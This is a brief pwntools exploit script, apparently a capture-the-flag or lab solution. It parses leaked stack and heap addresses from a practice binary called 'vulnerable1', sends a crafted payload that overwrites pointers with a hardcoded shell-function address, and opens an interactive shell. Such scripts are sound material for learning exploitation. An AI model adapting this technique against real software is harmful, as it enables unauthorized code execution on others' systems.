from pwn import *
p = process('./vulnerable1')
#gdb.attach(p, 'b *main')
shell = 0x080484eb
p.recvuntil("here is stack address leak: ")
stack = int(p.recvline(),16) + 16
print hex(stack)
p.recvuntil("here is heap address leak: ")
heap = int(p.recvline(),16)  + 32
print hex(heap)
p.recvline()
exp =  p32(shell) * 6 + p32(heap) + p32(stack) + p32(shell)
p.sendline(exp)
p.interactive()
